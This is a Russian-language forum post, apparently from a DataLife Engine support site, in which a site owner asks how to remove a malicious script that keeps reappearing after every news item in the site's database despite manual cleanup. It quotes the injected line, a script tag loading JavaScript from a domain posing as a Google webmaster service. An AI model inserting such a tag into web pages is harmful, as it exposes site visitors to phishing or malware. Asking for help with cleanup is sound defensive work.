Как удалить фишинговыю ссылку

Всем привет! Сайт d3ver.kz
Прошу помощи или совета! Сталкиваюсь с таким впервые, я самоучка, но достиг многого!

Сайт подвергся заражению фишинговыми ссылками, при открытии ругается KIS, при просмотре исходного кода обнаружил, что вредоносный код цепляется только к коротким и полным новостям, после каждой новости добавляется код

<script async="async" type="text/javascript" src="http://google-webmaster.ru/1c383cd30b7c298ab50293adfecb7b18.js"></script>

Первое что я сделал это начал поиск этой ссылки в папке с движком, с помощью проги notepad++, поиск не удался.
Залез в базу SQL, там в строке с новостями в каждой теме была добавлена это ссылка, я отредактировал новости, НО ссылки появились на след. день снова.

Кто сталкивался с такими ссылками??? Посоветуйте, где копать, что искать, как найти или выкурить её можно из сайта!




 Источник:dle-faq.pro, DLE